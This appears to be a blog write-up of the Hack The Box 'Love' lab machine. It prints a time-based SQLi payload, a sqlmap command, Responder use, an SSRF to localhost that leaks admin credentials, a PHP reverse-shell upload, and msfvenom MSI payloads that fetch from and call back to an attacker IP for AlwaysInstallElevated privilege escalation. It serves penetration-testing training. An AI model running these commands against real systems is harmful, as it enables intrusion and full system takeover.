walkthroughs

HTB Love Walkthrough: SSRF, SQLi Time-Based and Privesc

HTB Love Walkthrough: SSRF, SQLi Time-Based and Privesc

Write-Up HTB Love, Easy VM: SQLi time-based, NTLM attempt on Responder, SSRF towards 5000, and privesc with AlwaysInstallElevated. Every dead end explained.

  • Posted on 2026-07-14
  • Reading time: 6 min

HTB Love Walkthrough: When an “Easy” Machine Makes You Waste Time #

Love is labeled as Windows Easy on Hack The Box. On paper, it's a straightforward process: SSRF, credentials, upload, privesc note. In practice, if you follow the standard playbook step by step, you'll end up chasing leads that seem promising but lead nowhere. This walkthrough follows the actual path I took, including the dead ends—because understanding why a lead leads nowhere is just as informative as finding the right one.

Target : HTB Love (Windows, Easy difficulty) Techniques covered : custom tool enumeration, time-based SQLi, attempted NTLM capture via Responder, SSRF, direct RCE via upload, AlwaysInstallElevated


Reconnaissance #

Instead of running nmap manually every time, I use mynmap , my wrapper found on my GitHub — it automates the full TCP port scan plus the scan script on the ports found, and already gives me a structured report without having to copy commands every time.

Output summary against 10.129.48.103:

text
80/tcp    open  http         Apache httpd 2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46, cert CN=staging.love.htb (org: ValentineCorp)
445/tcp   open  microsoft-ds Windows 10 Pro 19042 (workgroup: WORKGROUP)
3306/tcp  open  mysql        MariaDB 10.3.24 or later (unauthorized)
5000/tcp  open  http         Apache httpd 2.4.46, risponde 403 Forbidden
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664-49670/tcp open msrpc

With just one swipe, mynmap has already given me almost everything I need to orient myself:

  • machine hostname: LOVE, workgroup WORKGROUP
  • SMB signing disabled (dangerous, but default) — useful to keep in mind, but without credentials it's not much use right away
  • MariaDB 10.3.24 listening but unreachable from my IP
  • TLS certificate on 443 revealing a second vhost: staging.love.htb
  • port 5000 responding only 403 from outside — this is the first sign that that service has ad-hoc control over the origin of the request

I add domains to /etc/hosts and I move on to the web enumeration.

Voting System on love.htb: SQLi That Leads to Nothing #

Su love.htb There's a login for a "Voting System" in PHP. I try a time-based payload on the ID field, like this:

text
1' AND SLEEP(5)-- -

The response arrives with a delay consistent with SLEEP—SQLi confirmed, and it's time-based blind , not error-based. There's no visible SQL error message in the response, just the time difference. This is already a clue as to how slow it will be to exploit: without direct output, each bit of data requested requires a separate HTTP request.

To have an automated confirmation (and understand if the extraction was realistically feasible), I also run sqlmap on the parameter:

bash
sqlmap -u "http://love.htb/login.php" --data="id=1&password=x" -p id --technique=T --batch

sqlmap confirms the same thing seen by hand: injection time-based blind valid, no boolean/UNION technique available on that parameter. --dbs I try to enumerate the databases, but the response times for each single request make the whole enumeration very slow — to understand the logic behind the techniques that sqlmap tries automatically it is worth reading the official repository on GitHub.

All things considered, the time required to extract something useful (users, hashes) is completely disproportionate to what it takes to complete an Easy machine. It's a pattern worth recognizing early: if a valid technique requires minutes for each character extracted, there's almost always a more direct route elsewhere. I'll mark it as confirmation of a vulnerability, but I won't invest any more time. For a more in-depth review of SQL injection techniques, I've written a more extensive article on SQL injection on Hackita (the focus is on MSSQL, but the blind/time-based principles are the same).

Dead end number two: Try to steal the NTLM hash via 5000 #

At the same time, since port 5000 seems to be reachable only from local/internal sources, I try another way: if I can make the server generate a request towards a UNC path (\\<mio-ip>\share), I can intercept an NTLM handshake with Responder and try to crack the hash offline.

bash
sudo responder -I tun0

By passing a UNC path instead of a URL in the fields I suspect are vulnerable to SSRF, I actually see traffic arriving on Responder—an SMB request from the target to me. But the handshake never completes usefully: no valid NTLMv2 hash is captured. The service generating the request is probably not the one handling SMB authentication (the traffic is just a side effect of some resolver, not a real authentication attempt), or the internal firewall is filtering the SMB outgoing traffic to unexpected external IPs. Either way: time invested, no tangible results.

Two dead ends in a row are part of the game. The thing to avoid is continuing to insist on the same idea with small variations—it's better to mark the finding, abandon it, and return to the enumeration.

SSRF true: staging.love.htb to port 5000 #

Su staging.love.htb There is a different app, oriented towards file scanning. In the navigation bar, the “Demo” item leads to /beta.php, where I find exactly what I need for an SSRF: an input field labeled something like "Enter URL of the file to scan," a submit button, and underneath the "scan" result—basically the raw content of whatever the server can retrieve from that URL. It's the classic textbook pattern: a service that acts as a proxy to an external resource chosen by the user, with no control over where that resource might be located (for a more in-depth look at the theory, see SSRF Prevention Cheat Sheet by OWASP).

SSRF Confirmation Test with a Local Web Server:

bash
python3 -m http.server 80

The target makes the request to me — SSRF confirmed. Then I move on. http://127.0.0.1:5000 as a parameter, and port 5000—which only responds to 403 from the outside—returns the actual content when the request comes from localhost. Access control based only on the source IP, bypassed with an endpoint capable of making server-side requests.

The retrieved page displays the credentials of the Voting System admin panel:

text
username: admin
password: @LoveIsInTheAir!!!!

Same principle, different context, as the attack I documented in the post-exploitation hub on Hackita : access control based only on the origin of the request is never sufficient on its own.

Direct RCE: no searchsploits, no public PoCs #

With valid admin credentials, I log in to the panel. I don't use the public PoC script for RCE upload — the hardcoded URLs within it almost always assume an installation path (/votingsystem/...) which often doesn't correspond to the real one, and wasting time fixing someone else's script when I can do the same thing by hand makes no sense.

I'm going straight:

  1. From the admin panel, I use the user/voter management function to create a second account with admin privileges — minimal persistence in case the current session times out
  2. From the user profile, in the edit form there is the image upload field, without any control over the file type/extension
  3. Instead of a minimal one-line webshell, I load a more robust PHP reverse shell — that of Ivan Sincek, a more stable and managed alternative to the classic pentestmonkey, with better error handling on the return connection

I configure local IP and port in the script before uploading, I save it as shell.phpI upload it instead of my profile picture. No server-side filter blocks the operation—the file goes directly to the accessible webroot.

Metto nc listening:

bash
rlwrap nc -lnvp 443

I visit the path of the uploaded image in the browser (visible from the profile page source after uploading) and the reverse shell calls back. Connection received:

text
whoami
love\phoebe

Shell like Phoebe and user flags #

text
C:\Users\Phoebe\Desktop> type user.txt

Privesc: The adduser attempt that didn't work #

Quick post-exploitation enumeration: registry, folder permissions, services with unquoted paths—the same checklist I always follow and which I detailed in Hackita's Windows Privilege Escalation article . The crucial finding is the same as always on this machine:

text
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!

First attempt: instead of immediately aiming for a reverse shell, I try to create a local administrator user directly, so as to have a cleaner and more persistent access (RDP/WinRM) instead of a reverse shell tied to a single listener:

bash
msfvenom -p windows/adduser USER=hackita PASS=P@ssword123! -f msi-nouac -o alwe.msi

This is the “textbook” command for this technique — the same one you find documented on HackTricks’ AlwaysInstallElevated page , which I recommend keeping handy when enumerating privesc Windows.

I load and run the MSI:

powershell
powershell wget http://10.10.14.6/alwe.msi -outfile alwe.msi
msiexec /quiet /qn /i alwe.msi

No visible errors, but also no confirmation: the user hackita is not created, and an attempt to run WinRM with those credentials fails. The payload adduser It has a structural problem for this scenario: it doesn't give any success feedback in the shell you already have — if the installation fails silently (permissions, architecture, or just a format issue -nouac (On this build), you have no way to know without trying something else that gives active confirmation. I wasted time trusting a “silent” payload instead of one that makes itself heard.

I change approach and return to a payload that gives me immediate feedback: a reverse shell.

bash
msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=443 -f msi -o rev.msi
powershell
powershell wget http://10.10.14.6/rev.msi -outfile rev.msi
msiexec /quiet /qn /i rev.msi
bash
rlwrap nc -lnvp 443

Shell received as nt authority\system:

text
C:\Users\Administrator\Desktop> type root.txt

Machine completed.

Detection: What would have stopped this attack? #

  • SSRF: destination whitelist for beta.php, explicit blocking of loopbacks and private ranges — would have made both the credential theft on the 5000 and the (failed) NTLM capture attempt useless
  • Unfiltered upload: checks the actual contents of the file, not just the extension; storage outside of the webroot executable
  • AlwaysInstallElevated: hardening policy that disables this key by default — zero-cost check that should always be checked in a Windows baseline

FAQ #

Why isn't a confirmed SQL injection always worth fully exploiting? Because the extraction cost matters as much as its presence. A time-based blind query with no direct output requires a request for each bit of information: if the estimated time is disproportionate to the context (an Easy machine, a timed engagement), it's often worth documenting it and looking for a more direct vector.

Why might an NTLM relay/capture attempt arrive on Responder without returning a valid hash? Incoming SMB traffic doesn't always result in a full authentication attempt—sometimes it's a side effect of resolvers or UNC paths being handled differently by the application, or outgoing traffic being filtered by the internal firewall before completing the NTLM handshake.

Why a msfvenom type payload windows/adduser Is it risky to use as a first attempt at privesc? Because it doesn't provide any feedback to confirm the outcome. If it fails silently (permissions, architecture, MSI format), you have no way of knowing without a second verification channel. It's better to start with a payload that provides active feedback (reverse/bind shell), and only then, with confirmed access, create any persistence as a new admin user.


Walkthrough based on Hack The Box training lab, a licensed testing environment. Useful for preparing for offensive certifications such as OSCP/OSCE3.

#AlwaysInstallElevated #SSRF #htb writeup

leave a message

I'm not a robot